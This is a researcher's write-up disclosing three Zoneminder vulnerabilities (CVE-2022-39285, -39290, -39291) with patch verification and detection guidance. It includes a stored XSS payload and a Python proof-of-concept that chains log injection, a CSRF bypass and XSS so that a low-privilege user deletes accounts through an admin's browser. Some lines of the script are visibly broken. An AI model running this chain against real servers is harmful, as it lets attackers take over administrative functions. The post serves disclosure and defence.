Zoneminder – Web App Testing – Oct 2022

Zoneminder is an open-source surveillance solution that started before 2006. Since then the project has grown to be a fully featured solution for those looking to take physical security seriously. You can find the project on Github:

I decided to spend a bit of time testing the web application to see if I could find a few vulnerabilities. My review of the project began on September 27th, 2022. I simply used Burp Suite Community Edition to proxy the requests for observation and modification.

This testing resulted in the discovery of three security vulnerabilities including log injection, CSRF bypass, and Stored XSS. These vulnerabilities were chained together to allow low privileged users to perform administrative actions within the web application.

Vulnerability Summary

The affected version of Zoneminder: < v1.36.26

Reported to project owner: 09/30/2022

  • [MEDIUM] Possible Denial of Service Through Log Injection
    • CVE-2022-39291
  • [HIGH] CSRF Key Bypass Using HTTP Methods
    • CVE-2022-39290
  • [HIGH] Stored Cross-Site Script Vulnerability In File Parameter
    • CVE-2022-39285

Possible Denial of Service Through Log Injection

Severity: MEDIUM

CWE: 117


This vulnerability allows users with “View” system permissions to inject unexpected data into the logs stored by Zoneminder. This was observed through an HTTP POST request containing log information to the “/zm/index.php” endpoint.


Allowing low-privileged users to inject data into logs could lead to a denial of service due to resource exhaustion.


Log in with the low-privilege user with only system “View” permissions and proxy the log request.

Modify the message parameter and visit the logs tab using an admin user.

View the injected values within the logs table.

CSRF Key Bypass Using HTTP Methods

Severity: HIGH

CWE: 285


Authenticated users can bypass CSRF keys by modifying the request supplied to the Zoneminder web application. These modifications include replacing HTTP POST with an HTTP GET and removing the CSRF key from the request.


An attacker can take advantage of this by using an HTTP GET request to perform actions with no CSRF protection. This could allow an attacker to cause an authenticated user to perform unexpected actions on the web application.


Expected behavior from altered or removed CSRF Keys.

Removed CSRF Key:

Altered CSRF Key:

To test the vulnerability, convert the request to an HTTP GET by changing the POST method and removing the CSRF parameter.

This successfully allows actions on the web application that would typically require the key to be provided in the body of the request.

Stored Cross-Site Script Vulnerability In File Parameter

Severity: HIGH

CWE: 79


The file parameter is vulnerable to XSS by backing out of the current “tr” “td” brackets. This then allows a malicious user to provide code that will execute when a user views the specific log on the “view=log” page.


This vulnerability allows an attacker to store code within the logs that will be executed when loaded by a legitimate user. These actions will be performed with the permission of the victim. This could lead to data loss and/or further exploitation including account takeover.


Using the log injection vulnerability, CSRF bypass, and the lack of filesystem parameter checks an attacker is able to inject executable code into the “view=log” page. This ultimately results in a user, with “View” permissions on the system, being able to perform admin actions on the Zoneminder web application. In this example, we will be performing an administrative action of deleting a user.

Log in with a low privilege user and proxy the log request automatically generated when navigating the Zoneminder pages. Replace the file parameter with the following payload:

</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>

This payload will allow a user with “View” system permissions to delete users from the system. This specific example targets the user with UID 6.

Log in with an admin user and visit the “view=log” page. Send the log requests as the low privileged user.

This will render on the admin page and execute the deletion of the target user.

Looking at the browser network tab, we see the successful execution of the delete user action.

The UID 6 user was successfully removed from the system.


The first observation was log injection which allowed me to enter user-controlled data into the logs. I also realized the logs are rendered on the “view=log” page.

Next, I began attempting XSS payloads within the values displayed in the logs table. I found that the value passed to the “file” parameter allowed “<>”. Using this lack of input validation, I was able to back out of the “</td>” and “</tr>” and execute code.

With the confirmed XSS, I started checking to see if I could source the script on my attacker-owned machine, however, controls were in place to prevent scripts from leaving the localhost. I then looked for what actions I could have an admin perform that would impact the system. This included actions such as camera deletions, event deletions, and user deletions.

User deletions were impactful enough to pursue, but we had another issue. Each POST request included a CSRF Key that was required for successful action, and I can only perform HTTP GET requests through the XSS. I removed and modified the key with no success. I finally decided to change the POST request to a GET request and just remove the CSRF key from the request. This successfully bypassed the CSRF requirement and allowed XSS to delete uses with a GET request.

Last, I connected the vulnerabilities into an exploit chain that allowed low-privileged users to take administrative actions within the web application.

Proof of Concept

The PoC will allow a low-privileged user to perform the delete user function by chaining the vulnerabilities mentioned above. When calling the script, provide the target IP, Port, username, password, and target user to delete. Before executing the PoC script, ensure the environment is properly configured.

PoC Environment Configuration

The vulnerabilities above have been tested on Zoneminder version 1.36.26. This installation was running on Ubuntu 22.04.1. Impact using the vulnerabilities can be replicated by configuring the environment with a password for the admin user, creating a system “View” user, and enabling “OPT_USE_AUTH”.

Version 1.36.26

Configure an admin user password.

Create a low-privileged user with only view permissions on the system.

Enable the checkbox on the Options -> System page to force user authentication.

Once the script has been executed, a while loop will continue to deliver the XSS payload every second until the script is manually stopped. This will ensure the script is rendered in the admins view when the page is requested.

# Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS)
# Date: 10/01/2022
# Exploit Author: Trenches of IT 
# Vendor Homepage:
# Version: v1.36.26
# Tested on: Linux/Windows
# CVE: CVE-2022-39285
# Proof of Concept:
# 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped)
# 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log
# 3 - XSS executes delete function on target UID (user).

import requests
import re
import time
import argparse
import sys

def getOptions(args=sys.argv[1:]):
    parser = argparse.ArgumentParser(description="Trenches of IT Zoneminder Exploit PoC", epilog="Example: -i -p 80 -u lowpriv -p lowpriv")
    parser.add_argument("-i", "--ip", help="Provide the IP or hostname of the target zoneminder server. (Example: -i", required=True)
    parser.add_argument("-p", "--port", help="Provide the port of the target zoneminder server. (Example: -p 80", required=True)
    parser.add_argument("-zU", "--username", help="Provide the low privileged username for the target zoneminder server. (Example: -zU lowpriv", required=True)
    parser.add_argument("-zP", "--password", help="Provide the low privileged password for the target zoneminder server. (Example: -zP lowpriv", required=True)
    parser.add_argument("-d", "--deleteUser", help="Provide the target user UID to delete from the target zoneminder server. (Example: -d 7", required=True)
    options = parser.parse_args(args)
    return options

options = getOptions(sys.argv[1:])

payload = "http%3A%2F%2F" + options.ip + "%2Fzm%2F</td></tr><script src='/zm/index.php?view=options&tab=users&action=delete&markUids[]=" + options.deleteUser + "&deleteBtn=Delete'</script>"

#Request to login and get the response headers
loginUrl = "http://" + options.ip + ":" + options.port + "/zm/index.php?action=login&view=login&username="+options.username+"&password="+options.password
loginCookies = {"zmSkin": "classic", "zmCSS": "base", "": "1", "": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "": "", "": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": "f1neru6bq6bfddl7snpjqo6ss2"}
loginHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=login", "Upgrade-Insecure-Requests": "1"}
response =, headers=loginHeaders, cookies=loginCookies)
zmHeaders = response.headers
    zoneminderSession = re.findall(r'ZMSESSID\=\w+\;', str(zmHeaders))
    finalSession = zoneminderSession[-1].replace('ZMSESSID=', '').strip(';')
    print("[ERROR] Ensure the provided username and password is correct.")
print("Collected the low privilege user session token: "+finalSession)

#Request using response headers to obtain CSRF value
csrfUrl = "http://"+options.ip+":"+options.port+"/zm/index.php?view=filter"
csrfCookies = {"zmSkin": "classic", "zmCSS": "base", "": "1", "": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "": "", "": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": '"' + finalSession + '"'}
csrfHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=montagereview&fit=1&minTime=2022-09-30T20:52:58&maxTime=2022-09-30T21:22:58&current=2022-09-30%2021:07:58&displayinterval=1000&live=0&scale=1&speed=1", "Upgrade-Insecure-Requests": "1"}
response = requests.get(csrfUrl, headers=csrfHeaders, cookies=csrfCookies)
zmBody = response.text
extractedCsrfKey = re.findall(r'csrfMagicToken\s\=\s\"key\:\w+\,\d+', str(zmBody))
finalCsrfKey = extractedCsrfKey[0].replace('csrfMagicToken = "', '')
print("Collected the CSRF key for the log injection request: "+finalCsrfKey)
print("Navigate here with an admin user: http://"+options.ip+"/zm/index.php?view=log")

while True:
    #XSS Request
    xssUrl = "http://"+options.ip+"/zm/index.php"
    xssCookies = {"zmSkin": "classic", "zmCSS": "base", "": "1", "": "%5B%22Id%22%2C%22Name%22%2C%22Monitor%22%2C%22Cause%22%2C%22StartDateTime%22%2C%22EndDateTime%22%2C%22Length%22%2C%22Frames%22%2C%22AlarmFrames%22%2C%22TotScore%22%2C%22AvgScore%22%2C%22MaxScore%22%2C%22Storage%22%2C%22DiskSpace%22%2C%22Thumbnail%22%5D", "": "", "": "1", "zmBandwidth": "high", "zmHeaderFlip": "up", "ZMSESSID": finalSession}
    xssHeaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://"+options.ip, "Connection": "close", "Referer": "http://"+options.ip+"/zm/index.php?view=filter"}
    xssData = {"__csrf_magic": finalCsrfKey , "view": "request", "request": "log", "task": "create", "level": "ERR", "message": "Trenches%20of%20IT%20PoC", "browser[name]": "Firefox", "browser[version]": "91.0", "browser[platform]": "UNIX", "file": payload, "line": "105"} 
    response =, headers=xssHeaders, cookies=xssCookies, data=xssData)
    print("Injecting payload: " + response.text)


Example execution:

└─$ python3 -i -p 80 -zU lowpriv -zP lowpriv -d 6                                                                                                                                                           130 ⨯
Collected the low privilege user session token: 3v68fq9s4k11qhgh2h6b1fauv2
Collected the CSRF key for the log injection request: key:af4db4240adfee7c5f954a79f981b2beb792f8dd,1664674364
Navigate here with an admin user:
Injecting payload: {"result":"Ok"}
Injecting payload: {"result":"Ok"}
Injecting payload: {"result":"Ok"}
Injecting payload: {"result":"Ok"}

Admin user views the http:///zm/index.php?view=log page.

The HTTP 200 response from the application indicates a successful user deletion.

Verification of Fix

After the fixes had been committed to master, I patched my zoneminder server and re-tested to ensure the vulnerabilities had been remediated. I used the PoC script, and manually generated new payloads using Burp Suite.

Log Injection

I configured a user with System view permissions and attempted the log injection request. The request was correctly denied.

CSRF Bypass Re-test

Confirmed the GET requests with actions do not perform actions on the web application. The application continues to respond with HTTP 200 when making the GET action request with no CSRF token.

The example targets user UID 4, however, the user remains in the system after requesting the delete action.

A new log is generated to notify the system owner that an attempt to perform actions without a POST is no longer an option.

XSS Re-test

Confirmed the File parameter sanitization removes key characters from the input and does not execute when rendered on the log page.

Below you can see the sanitized payload within <td></td>.

Detection & Alerting

Below I have provided sufficient Indicators of Compromise that will allow you to perform a historical log review and configure alerting to detect exploit attempts within your environment.

The main event we want to detect here is an HTTP GET request with an action that results in an HTTP 200 response. This will indicate the attacker has successfully bypassed the CSRF protection and performed an action within the web application.

This data will be stored in the “/var/log/apache2/access.log” log located on the Zoneminder server.

Exampe logs during attack:

[05/Oct/2022:23:57:24 +0000] "POST /zm/index.php HTTP/1.1" 200 320 "" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
[05/Oct/2022:23:57:24 +0000] "POST /zm/index.php HTTP/1.1" 200 284 "" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
[05/Oct/2022:23:57:24 +0000] "GET /zm/index.php?view=options&tab=users&action=delete&markUids[]=10&deleteBtn=Delete HTTP/1.1" 200 6977 "" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"

With this data we can see an action being performed with an HTTP GET request. The loading of the view log page followed by filter and a GET request performing an action indicates that a successful XSS has taken place with the CSRF bypass. These three logs within a short timeframe could be a great indicator that the vulnerabilities have been used.

If you are performing historical log review to ensure this method has not been used previously try the following regex with grep. This will search all the logs currently stored in “access.log”. Keep in mind that these logs are rotated regularly so check the earliest date in the logs to understand the timeline you are reviewing.

$ grep -i '.*GET\s\/zm\/index.php\?.*action=\w+.*' /var/log/apache2/access.log


If you are a Zoneminder user, I hope the information above helps users understand the existing vulnerabilities and how critical it is to keep your application up to date. The contributors working on the Zoneminder project are doing a great job releasing regular patches for its users.

For the security professionals, we see how log injection, a seemingly low severity threat, can be chained with additional vulnerabilities to cause impact. You also get a look at the life cycle of a vulnerability discovered, reported, fixed, and publicly disclosed in an open source project.

**Special shoutout to Isaac Connor at Zoneminder for quickly responding to my vulnerability report and being great to work with through the entire process!**

I look forward to digging more on the Zoneminder application to see what else hides beneath the surface. Until next time, stay safe in the Trenches of IT!